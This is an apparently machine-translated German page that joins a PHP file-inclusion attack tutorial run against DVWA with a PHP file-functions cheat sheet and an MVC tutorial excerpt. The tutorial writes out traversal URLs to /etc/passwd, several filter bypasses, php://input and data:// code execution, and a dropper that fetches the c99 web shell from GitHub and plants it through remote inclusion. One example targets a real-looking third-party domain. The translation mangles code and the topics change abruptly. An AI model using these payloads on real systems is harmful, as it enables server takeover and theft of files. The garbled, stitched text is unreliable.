Fiktive Ansicht einer PHP-Datei. Datei – Liest den Inhalt einer Datei und fügt ihn in ein Array ein. Arbeiten mit Dateien auf dem Server

Manchmal wird die Dateiinjektion als Inklusion bezeichnet, manchmal wird sie als Teil der PHP-Injektion (Code-Injection) betrachtet. Letzteres ist nicht ganz richtig, da Sicherheitslücken bei der Dateieinschleusung nicht unbedingt mit der Codeausführung zusammenhängen.

Die Sicherheitslücke kann auftreten, wenn (in PHP) Ausdrücke verwendet werden wie:

  • einmalig benötigt,
  • include_once,
  • enthalten,
  • erfordern

Jeder von ihnen hat kleine Nuancen, aber was ihnen gemeinsam ist, ist, dass sie eine Datei in das Programm einbinden und diese ausführen. Diese Ausdrücke können Probleme verursachen, wenn sie Benutzereingaben weitergeben und das Programm diese nicht ausreichend herausfiltert.

Übrigens, ja, das sind Ausdrücke, keine Funktionen. Es ist nicht notwendig, so zu schreiben:

Require("somefile.php");

Eine bevorzugtere Option ist:

Erfordert „somefile.php“;

Aber das ist ein Rückzug, der nichts mit Verletzlichkeit zu tun hat.

Wenn Dateien über die Ausdrücke require_once, include_once, include, require eingebunden werden, dann kann man sagen, dass gleichzeitig auch Code-Injection stattfindet. Es ist jedoch möglich, Dateien einzubinden, ohne Code auf dem Server auszuführen. Beispielsweise ändert eine Website ihr Erscheinungsbild basierend auf dem vom Benutzer gewählten Thema. Der Name des Themes entspricht dem Namen der HTML-Dateien, die auf dem Server gelesen werden. Wenn in dieser Situation die Anfrage so formuliert ist, dass eine Datei gelesen wird, die nicht dafür vorgesehen ist (z. B. eine PHP-Datei), wird anstelle der Ausführung von Befehlen der PHP-Quellcode angezeigt.

Der Benutzer kann eine Remote- oder lokale Datei als Einschlussdatei angeben. Basierend darauf werden zwei entsprechende Sorten unterschieden:

  • Lokale Dateiinjektion
  • Remote-Dateiinjektion

Die Gefahr der Remote-Inklusion besteht in der Ausführung willkürlichen Codes auf einem anfälligen Server. Dies wird normalerweise bei Hintertürinfektionen verwendet.

Die Gefahr der lokalen Dateiinjektion besteht darin, dass der Benutzer den Inhalt von Dateien anzeigen kann, für die er keine Ansichtsrechte hat (Programmquellcodes, Systemdateien mit Einstellungen und Passwörtern). Außerdem ist es bei lokaler Einbindung möglich, Code von Drittanbietern auszuführen (z. B. für eine Backdoor-Infektion), wenn zuvor eine Datei mit Schadcode auf den Server hochgeladen wurde oder die Log-Poisoning-Methode oder andere Methoden verwendet wurden.

Die lokale Einbindung von Dateien ist nicht weniger gefährlich als die Einführung von Remote-Dateien.

Ausnutzung der lokalen Dateieinbettung

Sie können diese Sicherheitslücke in Damn Vulnerable Web Application (DVWA) ausprobieren. Ich verwende Web Security Dojo, wo DVWA bereits installiert ist.

Beginnen wir auf einem niedrigen Niveau (niedrige DVWA-Sicherheit).

Gehen wir zur Seite „File Inclusion“ http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Wenn ein Wert ähnlich einem Dateinamen (Datei1.php, Datei2.php) als Argument an eine Variable übergeben wird, können wir davon ausgehen, dass ein Include verwendet wird. Da die Dateierweiterung .php ist, wird die Datei höchstwahrscheinlich auf dem Server ausgeführt (d. h. Code-Injection ist möglich) und nicht nur zur Anzeige angezeigt.

DVWA hat eine Seite http://localhost/dvwa/about.php, sie befindet sich zwei Ebenen höher. Versuchen wir, sie so anzuzeigen: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ about.php

Ja, es besteht eine lokale Inklusionslücke. Bei der Eingabe werden Übergänge in übergeordnete Verzeichnisse (../) nicht gefiltert; die Liste der aufzunehmenden Dateien ist nicht vollständig (anstelle der vorgeschlagenen Datei*.php haben wir about.php gewählt).

Manchmal werden enthaltene Dateien verwendet, aber die Adressen können beispielsweise so aussehen: http://localhost/dvwa/vulnerabilities/fi/?page=file1. In diesem Fall kann dem Skript eine Erweiterung hinzugefügt werden und das Skript bettet eine Datei ein, deren Name schließlich im Skript gebildet wird. Typischerweise ist es schwierig/unmöglich, eine Schwachstelle in dieser Form auszunutzen.

Als Beispiel für die Ausnutzung der lokalen Dateieinbindung wird oft so etwas genannt:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

Wie wir sehen, hat es funktioniert. Da Webbrowser jedoch /r/n (Neuzeilenzeichen) ignorieren, müssen wir den Code als Open Source veröffentlichen, um die Einträge lesbar zu machen:

Leider sind in der Datei /etc/passwd seit längerem keine Passwörter mehr vorhanden.

Vom Server können Sie verschiedene Einstellungsdateien, SSL-Zertifikate, im Prinzip jede Datei abrufen, die für alle Benutzer zum Lesen geöffnet ist oder für die der Webserver über ausreichende Leserechte verfügt:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

Bei Shared Hostings ist es manchmal möglich, in die Ordner anderer Personen zu schauen (auch hier, wenn die Benutzerrechte falsch konfiguriert sind).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

Die Aufgabe wird dadurch erschwert, dass wir den Pfad zur Datei kennen müssen.

Betrieb der Remote-Dateiinjektion

PHP ist eine sehr flexible und entwicklerfreundliche Programmiersprache. Dateieinbettungsbefehle und einige andere erkennen und verarbeiten nicht nur lokale Dateien, sondern auch URLs perfekt ...

Versuchen wir, die Site-URL https://site/ anstelle des Dateinamens zu schreiben:

http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

Schauen Sie, wie interessant es wird:

Folgendes ist passiert: Der PHP-Interpreter hat einen Befehl erhalten, die Datei/Site https://site/ einzuschließen. Er öffnete/lud die entsprechende Adresse herunter und schickte den resultierenden Code zur Ausführung als PHP-Programm. Da PHP nur den von den entsprechenden Tags umgebenen Code ausführt (in diesem Fall war überhaupt kein Code vorhanden) und alles andere unverändert ausgibt, wird die gesamte Website-Seite unverändert ausgegeben.

Diese Sicherheitslücke ist für uns natürlich nicht deshalb interessant, weil wir über eine Site andere Websites anzeigen können.

  • Generieren/Finden des Backdoor-Quellcodes
  • Wir erstellen eine aus PHP-Sicht korrekte Datei zur Ausführung auf dem Server, die den Backdoor-Quellcode in einer PHP-Datei speichert
  • Speichern Sie den empfangenen Code in einer TEXT-Datei
  • Laden Sie diese Textdatei auf einen kontrollierten Server hoch
  • Wir speichern unsere Hintertür mithilfe einer Remote-Dateieinbindung auf einem anfälligen Server
  • Ich habe das Wort „Text“ hervorgehoben, weil auf dem von uns kontrollierten Server eine Textdatei vorhanden sein sollte, die auf unserem Server nicht ausgeführt werden sollte. Unser Server muss lediglich seinen Inhalt anzeigen.

    Um eine Hintertür zu erstellen, können Sie Weevely, PhpSploit verwenden oder vorgefertigte Lösungen verwenden. Lassen Sie uns dieses Mal ein fertiges verwenden.

    Ich werde der Variablen $backdoor den Quellcode der Hintertür zuweisen, den ich von Github herunterlade. Dann verwende ich die Funktion file_put_contents, um den resultierenden Quellcode in der Datei c99unlimited.php zu speichern.

    Den Code habe ich in einer Textdatei abgelegt

    $backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo „fertig!“;

    Es ist verfügbar unter http://miloserdov.org/sec.txt

    Jetzt laden wir mithilfe eines Remote-Includes eine Hintertür auf einen anfälligen Server hoch.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Achten Sie auf die Aufschrift done!, sie wird vom Skript angezeigt, d.h. wahrscheinlich hat alles geklappt.

    Da sich das Skript, das die Dateien enthält, im Verzeichnis http://localhost/dvwa/vulnerabilities/fi/ befindet und unsere neue Datei mit der Hintertür unter dem Namen c99unlimited.php, der vollständigen Adresse der Hintertür, gespeichert werden sollte Der anfällige Server sollte sein: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    Wir überprüfen:

    Großartig, jetzt haben wir alle Funktionen, die ein Webserver-Administrator benötigen könnte ... und diejenigen, die Zugriff auf ihren Server haben.

    Umgehen Sie die Filterung, wenn Sie Dateien lokal einschließen

    Kommen wir zur mittleren Sicherheitsstufe (konfigurierbar in DVWA Security).

    Wenn wir uns den Quellcode ansehen (Schaltfläche „Quelle anzeigen“):

    dann werden wir sehen, dass die ../-Zeichen jetzt gefiltert sind. Dadurch wird verhindert, dass wir in ein höheres Verzeichnis wechseln als das, in dem das anfällige Skript ausgeführt wird.

    Diese. nichts wird so funktionieren:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    Lassen Sie uns darüber nachdenken, wie die Filterung in diesem Fall funktioniert. Nehmen wir an, das Wort „schlecht“ wird gefiltert, dann eine Zeile wie

    gut schlecht gut

    Nach dem Filtern sieht es so aus:

    gut gut

    Und wenn Sie eine Zeile wie diese einfügen

    Schlecht schlecht xo

    Nach dem Filtern (das „Schlechte“ wird entfernt) wird es sich herausstellen

    Schlecht

    In ../ fügen wir ../ wieder in der Mitte ein, es stellt sich heraus ..././

    Versuchen wir es mit dieser Adresse: http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf

    Es funktionierte!

    Eine andere Problemumgehung könnte darin bestehen, Zeichen in hexadezimaler Kodierung zu kodieren, ein Beispiel für diese Zeile:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    „../“ kann durch „%2E%2E%2f“ ersetzt werden.

    Es wird auch eine doppelte Hex-Kodierung praktiziert, bei der „../“ durch „%252E%252E%252F“ ersetzt wird.

    Lokale Einbindung von Dateien beim Hinzufügen einer Erweiterung in einem Skript

    Wenn der Code einschließlich der Dateien so aussieht:

    Diese. Wenn einer Benutzereingabe eine .php oder eine andere Erweiterung hinzugefügt wird, ist es nicht möglich, die Anfrage so zu gestalten, dass sie einen Angriff ausführt.

    Es gibt mehrere Techniken, mit denen die Erweiterung verworfen werden soll. Sie können jedoch als veraltet angesehen werden, da sie unter PHP 5.3 und selbst dann nicht in allen Versionen funktionieren. Allerdings sind Webserver-Administratoren klinisch konservativ und ziehen es vor, nichts anzutasten, wenn es funktioniert. Diese. Es besteht die Möglichkeit, dass Sie auf einen Server mit einer sehr alten PHP-Version stoßen, und Sie sollten sich dieser Techniken bewusst sein.

    Verwendung des Nullbytes %00 (Nullbyte)

    Am Ende der Anfrage wird ein Nullbyte hinzugefügt, um die Erweiterung zu ignorieren:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    Die zweite Methode wird als Path-Pruning-Angriff bezeichnet. Die Quintessenz ist, dass PHP Pfade abschneidet, die länger als 4096 Bytes sind. In diesem Fall öffnet PHP die Datei korrekt, auch wenn am Ende des Namens Schrägstriche und Punkte stehen. Wenn Sie als Parameter etwas wie?param1=../../../../etc/passwd/./././././ übergeben (wobei ./ viele tausend Male wiederholt wird), dann die Enddatei zusammen mit der Erweiterung (die das Skript hinzugefügt hat, wodurch der Dateiname in Includes/../../../../etc/passwd/./././././ geändert wurde) .php) werden verworfen. Und der Dateiname lautet include/../../../../etc/passwd/./././././. Und da PHP nicht durch nachgestellte Schrägstriche und ./ am Ende der Datei verwirrt wird, werden diese einfach ignoriert. Insgesamt öffnet PHP die Datei entlang des Pfads Includes/../../../../etc/ Passwort.

    Umgehen der Filterung für die Remote-Dateiinjektion

    Wie wir bereits im Quellcode gesehen haben, filtert die mittlere Sicherheitsstufe auch http:// und https:// heraus.

    Jetzt http://localhost/dvwa/vulnerabilities/fi/?. Wir werden genau die gleiche Technik verwenden, um die Filterung mit lokaler Einbeziehung zu umgehen. Generierte Anfrage:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

    Und beachten Sie auch, dass es nicht gefiltert wird, zum Beispiel FTP, d.h. Diese Option würde ganz ohne Tricks funktionieren:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

    Erhalten des Quellcodes von PHP-Skripten beim Einbinden von Dateien aus php://filter

    Dieser Trick erfordert keine Remote-Dateieinbindung. Es wird eine Art Meta-Wrapper php://filter verwendet.

    Nehmen wir an, wir möchten den Quellcode der Datei file1.php sehen, dann setzt sich die Anfrage für unsere Situation wie folgt zusammen:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Achten Sie auf die bedeutungslose Zeichenfolge aus Buchstaben und Zahlen – dies ist der Quellcode der Datei file1.php in Base64-Kodierung. Da es sich um Base64 handelt, werden auch Binärdateien unterstützt.

    Lassen Sie uns die Datei entschlüsseln:

    Remote-Codeausführung mit php://input

    Dies ist nicht wie das Einbetten von Dateien und erfordert auch nicht, dass Sie Dateien hochladen.

    Um zu helfen, verwende ich die Firefox-Erweiterung. Sie können sie oder jedes andere Programm (z. B. Curl) verwenden, das Daten mithilfe der POST-Methode übertragen kann.

    php://input hat Zugriff auf den Rohtext der HTTP-Anfrage. Um zu verstehen, was include("php://input") tut, öffnen Sie die Seite

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    Senden Sie im Hauptteil der Anfrage den richtigen PHP-Code (z. B. mit der POST-Methode). Dadurch können Sie alle auf dem Remote-Server zulässigen Funktionen ausführen!

    Remote-Codeausführung mit data://

    Darüber hinaus unterstützt PHP das URL-Schema data://. Sie können den Code direkt im GET-Parameter platzieren! Für den folgenden Test sind keine speziellen Tools erforderlich, sondern lediglich ein normaler Browser, um den Angriff durchzuführen.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Einige Webanwendungs-Firewalls bemerken möglicherweise eine verdächtige Zeichenfolge in einer URL und blockieren die böswillige Anfrage. Es gibt jedoch eine Möglichkeit, die Zeichenfolge mindestens mit Base64-Kodierung zu verschlüsseln:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    Führen Sie beliebige Befehle von /proc/self/environ aus

    /proc/self/environ ist der Prozessvariablenspeicher. Wenn der Apache-Prozess über ausreichende Zugriffsrechte verfügt, wird beim Öffnen einer Webseite, die ein Include mit einer ähnlichen URL enthält,

    www.website.com/view.php?page=../../../../../proc/self/environ

    wird so etwas ausgeben

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=.. %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx,6x [email protected] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    Achten Sie auf HTTP_USER_AGENT. Stattdessen können Sie den richtigen PHP-Code ersetzen, der auf einem Remote-Server ausgeführt wird.

    Ätzen und Einfügen von Protokollen beim lokalen Einbinden von Dateien

    Leider funktioniert diese Methode bei neueren Versionen von Apache nicht mehr.

    Sein Kern liegt darin, dass der Code des Angreifers in die Webserver-Protokolle eingeschleust wird. Dies kann durch Ersetzen von User-Agent oder einfach durch Übergeben in einem GET-Parameter erfolgen.

    Statische Injektion einer Remote-Datei

    Beispiele für eine Statik sind:

    In sehr exotischen Situationen können Sie eine statische Einbindung verwenden. Um Schadcode einzuschleusen, ist es notwendig, einen Man-in-the-Middle-Angriff zwischen zwei Servern durchzuführen: Einer davon hostet die Webanwendung, die das Include verwendet, und der zweite hostet die für die Einbindung verwendete Datei.

    PHP file_exists("test.txt")//Existiert die Datei? filesize("test.txt");//Ermitteln Sie die Dateigröße //Der Zeitstempel wird zurückgegeben: fileatime("test.txt");//Datum des letzten Zugriffs auf die Datei //date("d M Y" , $atime); filemtime("test.txt");//Datum der Dateiänderung //date("d M Y", $mtime); filectime("test.txt");//Datum der Dateierstellung (Windows) //date("d M Y", $ctime); Dateien: Betriebsmodi PHP-Ressource fopen (String-Dateiname, String-Modus) // Ressource – gibt im Erfolgsfall einen Zeiger auf die Datei zurück, im Fehlerfall FALSE Beschreibung der BetriebsartR r+ w w+ A a+ B
    Datei schreibgeschützt öffnen;
    Öffnen Sie die Datei zum Lesen und Schreiben.
    Öffnen Sie die Datei nur zum Schreiben. Wenn es existiert, wird der aktuelle Inhalt der Datei zerstört. Die aktuelle Position wird auf den Anfang gesetzt;
    Öffnen Sie die Datei zum Lesen und Schreiben. Wenn es existiert, wird der aktuelle Inhalt der Datei zerstört. Die aktuelle Position wird auf den Anfang gesetzt;
    Öffnen Sie die Datei zum Schreiben. Die aktuelle Position wird auf das Ende der Datei gesetzt;
    Öffnen Sie die Datei zum Lesen und Schreiben. Die aktuelle Position wird auf das Ende der Datei gesetzt;
    Verarbeiten Sie die Binärdatei. Dieses Flag ist beim Arbeiten mit Binärdateien unter Windows erforderlich.
    Öffnen und Schließen von Dateien in PHP PHP $fi = fopen("test.html", "w+") or die("Error"); //Beispiele $fi = fopen("http://www.you/test.html","r"); $fi = fopen("http://ftp.you/test.html", "r"); //Schließen fclose($fi) Dateien in PHP lesen PHP //Datei lesen fread(int fi, int length) $str = fread($fi, 5); // Die ersten 5 Zeichen lesen echo $str; // seit sich der Cursor bewegt hat $str = fread($fi, 12); // Die nächsten 12 Zeichen lesen echo $str; fgets(int fi[, int length]) // Eine Zeile aus einer Datei lesen fgetss(int fi, int length [, stringallowable]) // Eine Zeile aus einer Datei lesen und HTML-Tags verwerfen // stringallowable – markiert das muss verlassen werden fgetc(int fi) //Liest ein Zeichen aus einer Datei

    Der Schreibvorgang erfolgt zunächst am Anfang der Datei, indem ggf. vorhandene Daten überschrieben werden. Wenn Sie also etwas an das Ende der Datei schreiben müssen, müssen Sie den entsprechenden Lesemodus einstellen, zum Beispiel a+ .

    Manipulieren des Cursors in PHP-Dateien PHP int fseek(int fi, int offset [, int whence]) //Setzen des Cursors // int fi – Zeiger auf die Datei //offset – die Anzahl der zu verschiebenden Zeichen. //whence: //SEEK_SET – Bewegung beginnt am Anfang der Datei; //SEEK_CUR – Bewegung beginnt an der aktuellen Position; //SEEK_END – Bewegung beginnt am Ende der Datei. fseek($fi, -10, SEEK_END); //Die letzten 10 Zeichen lesen $s = fread($fi, 10); $pos = ftell($fi); // Aktuelle Position ermitteln rewind($f) // Cursor zurücksetzen bool feof($f) // Ende der Datei Direkte Arbeit mit Dateien (Daten) in PHP PHP-Array file(string filename) // Inhalte abrufen der Datei in Form eines Arrays // Eine weitere Möglichkeit, direkt mit Daten zu arbeiten file_get_contents(string filename) //Lesen (wir erhalten die gesamte Datei in einer Zeile) //Schreiben in die Datei (zunächst überschrieben) file_put_contents(string filename , gemischte Daten[,int flag]); //FILE_APPEND // An das Ende der Datei schreiben: file_put_contents("test.txt", "data", FILE_APPEND); //Wenn Sie ein Array schreiben, $array = array("I", "live"); file_put_contents("test.txt",$array); //dann erhalten wir „Ilive“ Dateien in PHP verwalten PHP copy(string source, string target); // Kopieren der Datei rename(str oldname, str newname); // Datei umbenennen unlink(string filename); // Eine Datei löschen Dateien auf den PHP-Server hochladen // PHP.ini-Einstellungen file_uploads (on|off) // Datei-Uploads zulassen oder deaktivieren upload_tmp_dir // Temporärer Ordner für hochgeladene Dateien. standardmäßig temporärer Ordner upload_max_filesize (Standard = 2 MB) // max. Größe der hochgeladenen Datei post_max_size // Gesamtgröße des gesendeten Formulars (muss größer sein als upload_max_filesize) //Einfacher HTML-Upload Wir arbeiten mit Dateien auf dem PHP-Server //Daten empfangen $tmp = $_FILES["userfile"][" tmp_name"]; $name = $_FILES["userfile"]["name"]; //Datei verschieben move_uploaded_file($tmp, name); move_uploaded_file($tmp, "upload/".name); // die Datei in den Upload-Ordner umleiten // relativ zur aktuellen Datei // Was ist im $_FILES-Array $_FILES["userfile"]["name"] // Dateiname, zum Beispiel test.html $_FILES[ "userfile"][" tmp_name"] // temporärer Dateiname (Pfad) $_FILES["userfile"]["size"] // Dateigröße $_FILES["userfile"]["type"] // Dateityp $ _FILES["userfile"] ["error"] // 0 – keine Fehler, Zahl – ja Viele Leute beginnen mit dem Schreiben eines Projekts, um mit einer einzigen Aufgabe zu arbeiten, was nicht bedeutet, dass es beispielsweise zu einem Mehrbenutzer-Verwaltungssystem werden kann , Inhalt oder, Gott bewahre, Produktion. Und alles scheint großartig und cool, alles funktioniert, bis man beginnt zu verstehen, dass der Code, der geschrieben wird, ausschließlich aus Krücken und hartem Code besteht. Der Code ist mit Layout, Abfragen und Krücken vermischt, manchmal sogar unlesbar. Es entsteht ein dringendes Problem: Beim Hinzufügen neuer Funktionen muss man sehr lange an diesem Code herumbasteln und sich merken, „was da geschrieben wurde?“ und verfluche dich selbst in der Vergangenheit.

    Vielleicht haben Sie schon einmal von Designmustern gehört und diese wunderbaren Bücher durchgeblättert:

    • E. Gamma, R. Helm, R. Johnson, J. Vlissides „Objektorientierte Designtechniken. Designmuster";
    • M. Fowler „Architektur von Unternehmenssoftwareanwendungen.“
    Und viele, die sich von den riesigen Handbüchern und der Dokumentation nicht einschüchtern ließen, versuchten, eines der modernen Frameworks zu studieren, und schoben angesichts der Komplexität des Verständnisses (aufgrund des Vorhandenseins vieler architektonischer Konzepte, die geschickt miteinander verknüpft sind) das Studium und die Verwendung davon auf moderne Werkzeuge „hinten“

    Dieser Artikel wird vor allem für Anfänger nützlich sein. Auf jeden Fall hoffe ich, dass Sie sich in ein paar Stunden ein Bild von der Implementierung des MVC-Musters machen können, das allen modernen Web-Frameworks zugrunde liegt, und auch „Nahrung“ für weitere Überlegungen zum „How to“ erhalten Tu es." Am Ende des Artikels finden Sie eine Auswahl nützlicher Links, die Ihnen auch dabei helfen zu verstehen, woraus Web-Frameworks (neben MVC) bestehen und wie sie funktionieren.

    Erfahrene PHP-Programmierer werden in diesem Artikel wahrscheinlich nichts Neues für sich finden, aber ihre Kommentare und Kommentare zum Haupttext wären sehr hilfreich! Weil Ohne Theorie ist die Praxis unmöglich, und ohne Praxis ist die Theorie nutzlos. Dann gibt es zuerst ein wenig Theorie und dann geht es weiter mit der Praxis. Wenn Sie bereits mit dem MVC-Konzept vertraut sind, können Sie den Theorieteil überspringen und direkt mit der Praxis beginnen.

    1. Theorie Das MVC-Muster beschreibt eine einfache Möglichkeit, eine Anwendung zu strukturieren, deren Zweck darin besteht, die Geschäftslogik von der Benutzeroberfläche zu trennen. Dadurch lässt sich die Anwendung einfacher skalieren, testen, warten und natürlich implementieren.

    Schauen wir uns das konzeptionelle Diagramm des MVC-Musters an (meiner Meinung nach ist dies das erfolgreichste Diagramm, das ich je gesehen habe):

    In der MVC-Architektur stellt das Modell die Daten- und Geschäftslogikregeln bereit, die Ansicht ist für die Benutzeroberfläche verantwortlich und der Controller sorgt für die Interaktion zwischen dem Modell und der Ansicht.

    Ein typischer Ablauf einer MVC-Anwendung kann wie folgt beschrieben werden:

  • Wenn ein Benutzer eine Webressource besucht, erstellt das Initialisierungsskript eine Instanz der Anwendung und startet sie zur Ausführung.
    Dadurch wird beispielsweise eine Ansicht der Hauptseite der Website angezeigt.
  • Die Anwendung empfängt eine Anfrage vom Benutzer und bestimmt den angeforderten Controller und die angeforderte Aktion. Im Fall der Hauptseite wird die Standardaktion ausgeführt ( Index).
  • Die Anwendung instanziiert den Controller und führt die Aktionsmethode aus.
    die beispielsweise Modellaufrufe enthält, die Informationen aus der Datenbank lesen.
  • Anschließend erstellt die Aktion eine Ansicht mit den aus dem Modell erhaltenen Daten und zeigt das Ergebnis dem Benutzer an.
  • Modell – enthält die Geschäftslogik der Anwendung und umfasst Methoden zum Abrufen (dies können ORM-Methoden sein), zur Verarbeitung (z. B. Validierungsregeln) und zur Bereitstellung spezifischer Daten, wodurch es oft sehr umfangreich wird, was ganz normal ist.
    Das Modell sollte nicht direkt mit dem Benutzer interagieren. Alle mit der Benutzeranforderung verbundenen Variablen müssen in der Steuerung verarbeitet werden.
    Das Modell sollte keinen HTML- oder anderen Anzeigecode generieren, der sich je nach den Anforderungen des Benutzers ändern kann. Dieser Code sollte in Ansichten verarbeitet werden.
    Das gleiche Modell, zum Beispiel: Das Benutzerauthentifizierungsmodell kann sowohl im Benutzer- als auch im Verwaltungsteil der Anwendung verwendet werden. In diesem Fall können Sie den allgemeinen Code in eine separate Klasse verschieben und von dieser erben, indem Sie in seinen Nachkommen unteranwendungsspezifische Methoden definieren.

    Ansicht – wird verwendet, um die externe Anzeige der vom Controller und Modell empfangenen Daten anzugeben.
    Ansichten enthalten HTML-Markup und kleine Einfügungen von PHP-Code zum Durchlaufen, Formatieren und Anzeigen von Daten.
    Sollte nicht direkt auf die Datenbank zugreifen. Das sollten Models tun.
    Sollte nicht mit Daten funktionieren, die aus einer Benutzeranfrage stammen. Diese Aufgabe muss vom Controller übernommen werden.
    Kann direkt auf Eigenschaften und Methoden eines Controllers oder Modells zugreifen, um ausgabebereite Daten zu erhalten.
    Ansichten sind normalerweise in eine gemeinsame Vorlage unterteilt, die für alle Seiten gemeinsames Markup enthält (z. B. eine Kopf- und Fußzeile), und in Teile der Vorlage, die zum Anzeigen der Datenausgabe des Modells oder zum Anzeigen von Dateneingabeformularen verwendet werden.

    Der Controller ist der Klebstoff, der Modelle, Ansichten und andere Komponenten zu einer funktionierenden Anwendung verbindet. Für die Bearbeitung der Nutzeranfragen ist der Verantwortliche verantwortlich. Der Controller sollte keine SQL-Abfragen enthalten. Es ist besser, sie in Modellen aufzubewahren. Der Controller sollte kein HTML oder anderes Markup enthalten. Es lohnt sich, es in den Blick zu nehmen.
    In einer gut gestalteten MVC-Anwendung sind Controller normalerweise sehr dünn und enthalten nur ein paar Dutzend Codezeilen. Das Gleiche gilt nicht für Stupid Fat Controller (SFC) im CMS Joomla. Die Controller-Logik ist recht typisch und wird größtenteils auf Basisklassen übertragen.
    Im Gegensatz dazu sind Modelle sehr umfangreich und enthalten den größten Teil des Codes für die Datenverarbeitung, weil Die darin enthaltene Datenstruktur und Geschäftslogik sind normalerweise recht spezifisch für eine bestimmte Anwendung.

    1.1. Front Controller und Page Controller In den meisten Fällen erfolgt die Benutzerinteraktion mit einer Webanwendung durch Klicken auf Links. Schauen Sie nun in die Adresszeile Ihres Browsers – Sie haben diesen Text über diesen Link erhalten. Über andere Links, beispielsweise auf der rechten Seite dieser Seite, erhalten Sie andere Inhalte. Somit stellt der Link einen bestimmten Befehl an die Webanwendung dar.

    Ich hoffe, Sie haben bereits bemerkt, dass verschiedene Websites völlig unterschiedliche Formate für den Aufbau der Adressleiste haben können. Jedes Format kann die Architektur einer Webanwendung darstellen. Obwohl dies nicht immer der Fall ist, ist es in den meisten Fällen eine klare Tatsache.

    Betrachten wir zwei Optionen für die Adressleiste, die Text und ein Benutzerprofil anzeigen.

    Erste Wahl:

  • www.example.com/article.php?id=3
  • www.example.com/user.php?id=4
  • Dabei ist jedes Skript für die Ausführung eines bestimmten Befehls verantwortlich.

    Zweite Option:

  • www.example.com/index.php?article=3
  • www.example.com/index.php?user=4
  • Und hier erfolgen alle Aufrufe in einem index.php-Skript.

    Sie können den Multi-Touchpoint-Ansatz in den phpBB-Foren sehen. Das Forum wird über das Skript viewforum.php angezeigt, das Thema wird über viewtopic.php usw. angezeigt. Der zweite Ansatz, auf den über eine einzige physische Skriptdatei zugegriffen wird, kann in meinem Lieblings-CMS MODX gesehen werden, wo alle Aufrufe über index.php laufen.

    Diese beiden Ansätze sind völlig unterschiedlich. Der erste Ansatz ist typisch für das Page-Controller-Muster, und der zweite Ansatz wird durch das Front-Controller-Muster implementiert. Der Seitencontroller eignet sich gut für Websites mit relativ einfacher Logik. Der Request-Controller wiederum konsolidiert alle Request-Verarbeitungsaktivitäten an einem Ort, was ihm zusätzliche Fähigkeiten verleiht, mit denen Sie komplexere Aufgaben implementieren können, als sie normalerweise vom Page-Controller gelöst werden. Ich werde nicht näher auf die Implementierung des Seitencontrollers eingehen, sondern nur sagen, dass im praktischen Teil der Anforderungscontroller (etwas Ähnliches) entwickelt wird.

    1.2. URL-Routing Mit dem URL-Routing können Sie Ihre Anwendung so konfigurieren, dass sie Anfragen von URLs akzeptiert, die nicht den tatsächlichen Anwendungsdateien entsprechen, und CNCs verwendet, die für Benutzer semantisch aussagekräftig sind und für die Suchmaschinenoptimierung bevorzugt werden.

    Für eine normale Seite, auf der ein Kontaktformular angezeigt wird, könnte die URL beispielsweise so aussehen:
    http://www.example.com/contacts.php?action=feedback

    Ungefährer Verarbeitungscode in diesem Fall:
    switch ($_GET ["action" ]) ( case "about" : require_once ("about.php" ); // Seitenumbruch "Über uns" ; case "contacts" : require_once ("contacts.php" ); // Seite „Kontakte“ Pause ; Fall „Feedback“ : require_once („feedback.php“ ); // Seite „Feedback“ Pause ; Standard : require_once („page404.php“ ); // Seite „404“ Pause ; )
    Ich denke, fast jeder hat das schon einmal gemacht.

    Mithilfe einer URL-Routing-Engine können Sie Ihre Anwendung so konfigurieren, dass sie Anfragen wie diese akzeptiert, um dieselben Informationen anzuzeigen:
    http://www.example.com/contacts/feedback

